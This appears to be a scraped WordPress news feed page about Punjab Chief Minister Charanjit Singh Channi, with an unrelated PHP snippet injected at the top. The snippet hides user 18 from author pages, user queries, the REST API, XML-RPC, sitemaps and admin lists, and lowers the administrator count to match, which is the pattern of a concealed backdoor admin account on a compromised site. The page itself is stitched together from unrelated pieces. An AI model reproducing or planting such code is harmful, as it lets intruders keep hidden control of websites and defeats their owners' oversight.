add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post In response to Charanjit Singh Channi’s advice to Arvind Kejriwal to dress better, the Delhi Chief Minister said THIS appeared first on The Edge Media.
]]>
When asked what he has to say about Kejriwal, who claims that the Congress has left Punjab in a shamble, Punjab CM Channi became visibly upset and made an uncharitable remark during a chat with a TV channel.
The post In response to Charanjit Singh Channi’s advice to Arvind Kejriwal to dress better, the Delhi Chief Minister said THIS appeared first on The Edge Media.
]]>The post Punjab Chief Minister Charanjit Singh Channi met with Prime Minister Narendra Modi in Delhi appeared first on The Edge Media.
]]>Mr. Channi is also expected to see senior Congress leaders on his visit to the capital, officials added, citing the party’s Punjab unit’s current turmoil.
The post Punjab Chief Minister Charanjit Singh Channi met with Prime Minister Narendra Modi in Delhi appeared first on The Edge Media.
]]>The post Punjab Chief Minister Channi makes a pit break in Bathinda to greet a newlywed couple. appeared first on The Edge Media.
]]>On Sunday, Punjab Chief Minister Charanjit Singh Channi stopped at a small village in the state’s Bathinda region to wish a newlywed couple. The 26-second video shows the chief minister hugging the man and handing his wife ‘shagun’ while on a tour of the cotton region in the Bathinda district.
Channi is also seen enjoying some sweets supplied to him by the family while being surrounded by several police officers and other persons. Channi is overheard asking when the couple is married, to which a family member responds that the wedding was on Saturday. With folded hands, the Punjab Chief Minister also conveys his best wishes to the newlyweds.
The post Punjab Chief Minister Channi makes a pit break in Bathinda to greet a newlywed couple. appeared first on The Edge Media.
]]>The post Post-Exit Captain’s After Bitter Rift, Sidhu Declares “Sorted”; Action Against Sand Mafia Assured appeared first on The Edge Media.
]]>Meanwhile, Charanjit Singh Channi, who was sworn in as Chief Minister today, pledged action against the sand mafia, a subject that Sidhu had been harping on, implying their ties to Captain.
The post Post-Exit Captain’s After Bitter Rift, Sidhu Declares “Sorted”; Action Against Sand Mafia Assured appeared first on The Edge Media.
]]>